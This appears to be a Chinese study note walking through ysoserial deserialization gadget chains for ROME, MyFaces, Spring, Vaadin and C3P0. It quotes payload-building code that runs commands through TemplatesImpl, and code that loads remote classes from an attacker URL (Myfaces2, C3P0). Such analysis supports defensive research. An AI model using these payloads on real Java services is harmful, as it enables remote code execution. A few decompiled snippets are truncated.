1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public final class core$constantly extends AFunction {
public core$constantly() {
}

public static Object invokeStatic(Object x) {
Object var10002 = x;
x = null;
return new core$constantly$fn__4614(var10002);
}

public Object invoke(Object var1) {
Object var10000 = var1;
var1 = null;
return invokeStatic(var10000);
}
}

就一个赋值操作

1
2
3
public core$constantly$fn__4614(Object var1) {
this.x = var1;
}

clojure.core$comp().invoke 实际调用 core$comp$fn__4727

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object invoke(Object var1, Object var2) {
Object var10000 = var1;
var1 = null;
Object var10001 = var2;
var2 = null;
return invokeStatic(var10000, var10001);
}

public static Object invokeStatic(Object f, Object g) {
Object var10002 = g;
g = null;
Object var10003 = f;
f = null;
return new core$comp$fn__4727(var10002, var10003);
}

也就一个赋值操作

1
2
3
4
public core$comp$fn__4727(Object var1, Object var2) {
this.g = var1;
this.f = var2;
}

model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); 也就是赋值操作

1
2
3
public void __updateClojureFnMappings(IPersistentMap var1) {
this.__clojureFnMap = (IPersistentMap)((IPersistentCollection)this.__clojureFnMap).cons(var1);
}

ROME

ROME 是 RSS/Atom 订阅框架
和 CC2 类似,使用 TemplatesImpl 承载恶意代码;和 URLDNS 类似,利用 HashMap 的反序列化操作
通过 ObjectBean.hashCode 触发

适用版本

  • rome:1.0

利用链

1
2
3
4
5
6
7
8
9
10
11
Gadget chain:
HashMap.readObject()
HashMap.hash()
ObjectBean.hashCode()
EqualsBean.beanHashCode()
ObjectBean.toString()
ToStringBean.toString()
ToStringBean.toString(String)
Method.invoke()
TemplatesImpl.getOutputProperties()
...

ysoserial.payloads.ROME#getObject 十分简短,需要注意的是这里必须通过两个 ObjectBean 才能触发漏洞

1
2
3
4
5
6
7
8
9
10
11
public Object getObject ( String command ) throws Exception {
// 创建 TemplatesImpl 承载执行代码
Object o = Gadgets.createTemplatesImpl(command);

// 通过两个 ObjectBean 达成触发条件
ObjectBean delegate = new ObjectBean(Templates.class, o);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);

// 构造 HashMap
return Gadgets.makeMap(root, root);
}

如果只用 ObjectBean(Templates.class, TemplatesImpl) 构造 HashMap,则反序列化时报错

  • 构造 POC 用的是 ObjectBean(ObjectBean.class, ObjectBean(Templates.class, TemplatesImpl))

因为计算哈希值时会对 value(TemplatesImpl) 调用 ObjectBean.hashCode

1
2
3
4
5
Exception in thread "main" java.lang.IllegalArgumentException: class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl is not instance of class com.sun.syndication.feed.impl.ObjectBean
at com.sun.syndication.feed.impl.EqualsBean.<init>(EqualsBean.java:85)
at com.sun.syndication.feed.impl.ObjectBean.<init>(ObjectBean.java:74)
at com.sun.syndication.feed.impl.ObjectBean.<init>(ObjectBean.java:56)
at ysoserial.payloads.ROME.getObject(ROME.java:38)

当 HashMap 反序列化时会对元素计算哈希值,调用对象的 hashCode 方法,这里就是 ObjectBean.hashCode 方法,实际调用的是 EqualsBean.beanHashCode,然后进一步调用 ObjectBean.toString 方法返回 ToStringBean.toString,在这个函数中会触发 TemplatesImpl.getOutputProperties

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// ObjectBean
public int hashCode() {
return this._equalsBean.beanHashCode();
}

// EqualsBean
public int beanHashCode() {
return this._obj.toString().hashCode();
}

// ObjectBean
public String toString() {
return this._toStringBean.toString();
}

// ToStringBean
public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return this.toString(prefix); // 这里
}
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS); // 执行指令,控制 this._obj 为 TemplatesImpl,pReadMethod.name 为 getOutputProperties
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}
return sb.toString();
}

Myfaces1

MyFaces 是托管多个与 MVC Web 应用框架 JavaServer Faces(JSF) 技术相关的子项目;MyFaces Core 项目是 JSF 规范的实现
结合了反序列化与 EL 表达式执行的相关特点。EL 表达式的主要作用是在Java Web应用程序嵌入到网页中,用以访问页面的上下文以及不同作用域中的对象,取得对象属性的值,或执行简单的运算或判断操作。
需要构造 EL 表达式作为 payload

利用链

1
2
3
4
5
6
7
GadgetChain:
HashMap.readObject()
HashMap.hash()
ValueExpressionMethodExpression.hashCode()
ValueExpressionMethodExpression.getMethodExpression()
ValueExpressionMethodExpression.getMethodExpression(ELContext)
ValueExpressionImpl.getValue()

ysoserial.payloads.Myfaces1#makeExpressionPayload 利用 MyFaces 构造触发利用的条件, EL 表达式解析和处理还需要由具体的 EL 实现类完成(如 juel 和 apache-el),其中的 ValueExpressionImpl.getValue 具体实现将触发真正的代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception  {
// 初始化 FacesContext 及 ELContext
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
// 使用反射将 elContext 写入 FacesContextImpl 中
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
// 使用 ExpressionFactory 创建 ValueExpression
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();

// 有害
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
// 无害
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);

// 构造 HashMap
// 先放入无害的 ValueExpression,put 到 map 之后再反射写入 valueExpression 字段
// 避免构造过程中触发
return Gadgets.makeMap(e2, e);
}

触发条件的构造只涉及到 ValueExpressionMethodExpression 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public int hashCode() {
MethodExpression me = this.getMethodExpression(); // 这里
return me != null ? me.hashCode() : this.valueExpression.hashCode();
}

private MethodExpression getMethodExpression() {
// 调用带参数的方法
return this.getMethodExpression(FacesContext.getCurrentInstance().getELContext());
}

private MethodExpression getMethodExpression(ELContext context) {
Object meOrVe = this.valueExpression.getValue(context); // 这里,由具体实现类完成
if (meOrVe instanceof MethodExpression) {
return (MethodExpression)meOrVe;
} else if (!(meOrVe instanceof ValueExpression)) {
return null;
} else {
while(meOrVe != null && meOrVe instanceof ValueExpression) {
meOrVe = ((ValueExpression)meOrVe).getValue(context);
}
return (MethodExpression)meOrVe;
}
}

Myfaces2

利用链同 Myfaces1
在 Myfaces1 的基础上使用 ClassLoader 远程加载恶意类的 EL 表达式执行代码,即提供构造 EL

ysoserial.payloads.Myfaces2#getObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}

String url = command.substring(0, sep);
String className = command.substring(sep + 1);

// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";

// if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
}
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";

return Myfaces1.makeExpressionPayload(expr);
}

Spring1

适用版本

  • spring-core:4.1.4.RELEASE
  • spring-beans:4.1.4.RELEASE

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()

ysoserial.payloads.Spring1#getObject 通过 MethodInvokeTypeProvider.readObject 触发方法调用,方法由 ObjectFactoryDelegatingInvocationHandler 代理,最终调用 TemplatesImpl.newTransformer 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Object getObject(final String command) throws Exception {
// 构造 TemplatesImpl 承载恶意指令
final Object templates = Gadgets.createTemplatesImpl(command);

// 构造 HashMap 承载 TemplatesImpl
// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,返回 TemplatesImpl
final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

// 使用 objectFactoryProxy 实例化 ObjectFactoryDelegatingInvocationHandler,代理 Type 和 Templates(TemplatesImpl 父类)
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
.newInstance(objectFactoryProxy), Type.class, Templates.class);

// 代理 TypeProvider 的 getType 方法,返回 typeTemplatesProxy 代理类
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

// 用 typeProviderProxy 初始化 MethodInvokeTypeProvider
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时随便给个 Method,methodName
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);

// 利用反射赋值,调用 newTransformer 方法
Reflections.setFieldValue(mitp, "methodName", "newTransformer");

return mitp;
}

Spring 核心包中的 org.springframework.core.SerializableTypeWrapper$TypeProvider 实现了 TypeProvider 接口,是一个可以被反序列化的类。反序列化时调用了 ReflectionUtils,先是 findMethod 返回 Method 对象然后紧接着调用 invokeMethod 进行反射调用(无参调用)。

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler 是 InvocationHandler 的实现类,实例化时接收一个 ObjectFactory 对象,并在 invoke 代理时调用 ObjectFactory 的 getObject 方法返回 ObjectFactory 的实例用于 Method 的反射调用。

  • 使用 AnnotationInvocationHandler 代理,返回任意对象
  • 使用 ObjectFactoryDelegatingInvocationHandler 代理 TypeProvider$getType 方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// MethodInvokeTypeProvider
static class MethodInvokeTypeProvider implements SerializableTypeWrapper.TypeProvider {
private final SerializableTypeWrapper.TypeProvider provider;
private final String methodName;
private final int index;
private transient Object result;
public MethodInvokeTypeProvider(SerializableTypeWrapper.TypeProvider provider, Method method, int index) {
this.provider = provider;
this.methodName = method.getName();
this.index = index;
this.result = ReflectionUtils.invokeMethod(method, provider.getType());
}
public Type getType() {
return !(this.result instanceof Type) && this.result != null ? ((Type[])((Type[])this.result))[this.index] : (Type)th
}
public Object getSource() {
return null;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
}

// ObjectFactoryDelegatingInvocationHandler
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
private final ObjectFactory<?> objectFactory;
public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
this.objectFactory = objectFactory;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
return proxy == args[0];
} else if (methodName.equals("hashCode")) {
return System.identityHashCode(proxy);
} else if (methodName.equals("toString")) {
return this.objectFactory.toString();
} else {
try {
// 调用 ObjectFactory 的 getObject 方法返回 ObjectFactory 的实例用于 Method 的反射调用
return method.invoke(this.objectFactory.getObject(), args);
} catch (InvocationTargetException var6) {
throw var6.getTargetException();
}
}
}
}

Spring2

使用 spring-aop 的 JdkDynamicAopProxy 替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
JdkDynamicAopProxy.invoke()
AopUtils.invokeJoinpointUsingReflection()
Method.invoke()
TemplatesImpl.newTransformer()

ysoserial.payloads.Spring2#getObject 和 Spring1 的构造方式基本相同,这里用了 AdvisedSupport 实例化 JdkDynamicAopProxy 动态代理,在 MethodInvokeTypeProvider.readObject 中返回 TemplatesImpl 和方法 newTransformer,从而执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public Object getObject ( final String command ) throws Exception {
// 构造 TemplatesImpl 承载恶意指令
final Object templates = Gadgets.createTemplatesImpl(command);

// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(templates));

// 使用 JdkDynamicAopProxy 动态代理,代理 Type 和 Templates(TemplatesImpl 父类)
final Type typeTemplatesProxy = Gadgets.createProxy(
(InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
Type.class,
Templates.class);

// 代理 TypeProvider 的 getType 方法,返回 typeTemplatesProxy 代理类
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

// 初始化 MethodInvokeTypeProvider
Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));

// 利用反射赋值,使用 typeProviderProxy 代理类 和 newTransformer 方法
Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");

return mitp;
}

调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// JdkDynamicAopProxy
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource; //
Class<?> targetClass = null;
Object target = null;
Object var13;
try {
if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
Boolean var18 = this.equals(args[0]);
return var18;
}
if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
Integer var17 = this.hashCode();
return var17;
}
Object retVal;
if (!this.advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) {
retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
return retVal;
}
if (this.advised.exposeProxy) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = true;
}
target = targetSource.getTarget(); //
if (target != null) {
targetClass = target.getClass();
}
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
if (chain.isEmpty()) {
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args); // 反射调用对象的 method 方法
} else {
MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}
Class<?> returnType = method.getReturnType();
if (retVal != null && retVal == target && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass()))
retVal = proxy;
} else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
}
var13 = retVal; // 返回方法
} finally {
if (target != null && !targetSource.isStatic()) {
targetSource.releaseTarget(target);
}
if (setProxyContext) {
AopContext.setCurrentProxy(oldProxy);
}
}
return var13;
}

// AopUtils
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args) throws Throwable {
try {
ReflectionUtils.makeAccessible(method);
return method.invoke(target, args); // 反射调用
} catch (InvocationTargetException var4) {
throw var4.getTargetException();
} catch (IllegalArgumentException var5) {
throw new AopInvocationException("AOP configuration seems to be invalid: tried calling method [" + method + "] on target [" + target + "]", var5);
} catch (IllegalAccessException var6) {
throw new AopInvocationException("Could not access method [" + method + "]", var6);
}
}

Vaddin1

Vaadin 是 Java Web 应用开发框架,用 Java 或 TypeScript 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。
CC2 + CC5
使用 TemplatesImpl 承载恶意代码
通过动态代理 BadAttributeValueExpException 的反序列化触发

利用链

1
2
3
4
5
6
GadgetChain:
BadAttributeValueExpException.readObject()
PropertysetItem.toString()
PropertysetItem.getPropertyId()
NestedMethodProperty.getValue()
TemplatesImpl.getObjectPropertyValue()

ysoserial.payloads.Vaadin1#getObject 返回动态代理 BadAttributeValueExpException。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object getObject (String command) throws Exception
{
// 构造 TemplatesImpl 承载恶意指令
Object templ = Gadgets.createTemplatesImpl(command);

// 存储 Property 属性值
PropertysetItem pItem = new PropertysetItem();

// 构造 NestedMethodProperty 承载 TemplatesImpl
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(templ, "outputProperties");
pItem.addItemProperty ("outputProperties", nmprop);

// 利用 BadAttributeValueExpException 的 val 字段承载 PropertysetItem
BadAttributeValueExpException b = new BadAttributeValueExpException("");
Reflections.setFieldValue (b, "val", pItem);

return b;
}

BadAttributeValueExpException.readObject 在反序列化时会调用对象的 toString 方法,这里即 PropertysetItem.toString,进一步触发 NestedMethodProperty.getValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// BadAttributeValueExpException
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // 调用对象的 toString 方法
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

// PropertysetItem
private LinkedList<Object> list = new LinkedList(); // 存储id
public Property getItemProperty(Object id) {
return (Property)this.map.get(id); // 获取属性
}
public String toString() {
String retValue = "";
Iterator i = this.getItemPropertyIds().iterator();
while(i.hasNext()) { // 遍历 id
Object propertyId = i.next();
retValue = retValue + this.getItemProperty(propertyId).getValue // 获取映射的 Property 属性对象,并调用其 getValue 方法
if (i.hasNext()) {
retValue = retValue + " ";
}
}
return retValue;
}
public boolean addItemProperty(Object id, Property property) {
if (id == null) {
throw new NullPointerException("Item property id can not be null");
} else if (this.map.containsKey(id)) {
return false;
} else {
this.map.put(id, property); // 添加属性
this.list.add(id);
this.fireItemPropertySetChange();
return true;
}
}

// NestedMethodProperty
public NestedMethodProperty(Object instance, String propertyName) {
this.instance = instance; // 对象实例
this.initialize(instance.getClass(), propertyName); // 属性值
}
public T getValue() {
try {
Object object = this.instance;
Iterator var2 = this.getMethods.iterator();
do {
if (!var2.hasNext()) {
return object;
}
Method m = (Method)var2.next();
object = m.invoke(object); // 反射调用封装对象指定属性的 getter 方法
} while(object != null);
return null;
} catch (Throwable var4) {
throw new MethodException(this, var4);
}
}

C3P0

C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate、Spring 等。

适用版本

  • c3p0:0.9.5.2

利用链

1
2
3
4
5
6
GadgetChain:
PoolBackedDataSourceBase.readObject()
ReferenceIndirector.getObject()
ReferenceableUtils.referenceToObject()
Class.forName0()
URLClassLoader.loadClass()

PoolBackedDataSourceBase 类中储存了 PropertyChangeSupport 和 VetoableChangeSupport 对象,用于支持监听器的功能。

这个类在序列化和反序列化时,要保存内部的 ConnectionPoolDataSource 成员变量,如果 connectionPoolDataSource 本身是不可序列化的对象,则使用 ReferenceIndirector 对其进行引用的封装,返回一个可以被序列化的 IndirectlySerialized 实例对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class PoolBackedDataSourceBase extends IdentityTokenResolvable implements Referenceable, Serializable {
protected PropertyChangeSupport pcs = new PropertyChangeSupport(this);
protected VetoableChangeSupport vcs = new VetoableChangeSupport(this);
...

private void writeObject(ObjectOutputStream oos) throws IOException {
oos.writeShort(1);
ReferenceIndirector indirector;
try {
SerializableUtils.toByteArray(this.connectionPoolDataSource);
oos.writeObject(this.connectionPoolDataSource); // 保存成员变量
} catch (NotSerializableException var9) { // 如果该成员变量不可序列化
MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);
try {
indirector = new ReferenceIndirector(); // 使用 ReferenceIndirector 封装
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource)); // 返回 IndirectlySerialized
} catch (IOException var7) {
throw var7;
} catch (Exception var8) {
throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + var8.toString());
}
}
...
}
}

indirectForm 方法中调用会调用 ConnectionPoolDataSource 的 getReference 方法返回一个 Reference 对象,并使用 ReferenceSerialized 对象对其封装。

1
2
3
4
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

PoolBackedDataSourceBase 类在反序列化时,调用 IndirectlySerialized#getObject 方法重新生成 ConnectionPoolDataSource 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch(version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject(); // 这里
}
this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
this.dataSourceName = (String)ois.readObject();
o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.extensions = (Map)o;
this.factoryClassLocation = (String)ois.readObject();
this.identityToken = (String)ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}

ReferenceSerialized#getObject 调用 InitialContext#lookup 方法尝试使用 JNDI 来获取相应的对象,在 contextName、env 均为空的情况下,则调用 ReferenceableUtils.referenceToObject() 使用 Reference 中的信息来获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}
Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName); // JNDI 获取对象
}
// Reference 获取对象
return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
}
throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
}
}

ReferenceableUtils#referenceToObject 中使用 URLClassLoader 从 URL 中加载了类并实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}
Object var7;
if (var11 == null) {
var7 = var6;
} else {
// 使用 URLClassLoader 从 URL 中加载了类并实例化
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}
//
Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);
} catch (Exception var10) {
if (logger.isLoggable(MLevel.FINE)) {
logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
}
NamingException var5 = new NamingException("Could not resolve Reference to Object!");
var5.setRootCause(var10);
throw var5;
}
}

ysoserial.payloads.C3P0#PoolSource 不可序列化的并且实现了 Referenceable 的 ConnectionPoolDataSource 对象,并且其 getReference 方法返回恶意类位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}

ysoserial.payloads.C3P0#getObject 构造恶意 URL 作为 PoolSource 对象的实例化参数,进一步将 PoolBackedDataSource 对象的 connectionPoolDataSource 指向恶意的 PoolSource。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object getObject ( String command ) throws Exception {
// 构造 url
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);

// 实例化 PoolBackedDataSource
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
// 利用反射赋值
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}

总结

名称 入口点(kick-off) 调用链(chain) 触发点(sink)
URLDNS HashMap URL
Commons Collections 1 AnnotationInvocationHandler LazyMap/TransformedMap Transformer
Commons Collections 2 PriorityQueue TransformingComparator Transformer/TemplatesImpl
Commons Collections 3 AnnotationInvocationHandler LazyMap + Transformer + TrAXFilter TemplatesImpl
Commons Collections 4 PriorityQueue/TreeBag TransformingComparator + Transformer + TrAXFilter TemplatesImpl
Commons Collections 5 BadAttributeValueExpException TiedMapEntry + LazyMap Transformer
Commons Collections 6 HashMap/HashSet TiedMapEntry + LazyMap Transformer
Commons Collections 7 Hashtable TiedMapEntry + LazyMap Transformer
Commons Beanutils PriorityQueue BeanComparator + CaseInsensitiveComparator TemplatesImpl
Spring1 AnnotationInvocationHandler MethodInvokeTypeProvider + TypeProvider +ObjectFactoryDelegatingInvocationHandler + AnnotationInvocationHandler TemplatesImpl
Spring2 AnnotationInvocationHandler MethodInvokeTypeProvider + TypeProvider + JdkDynamicAopProxy + AnnotationInvocationHandler TemplatesImpl
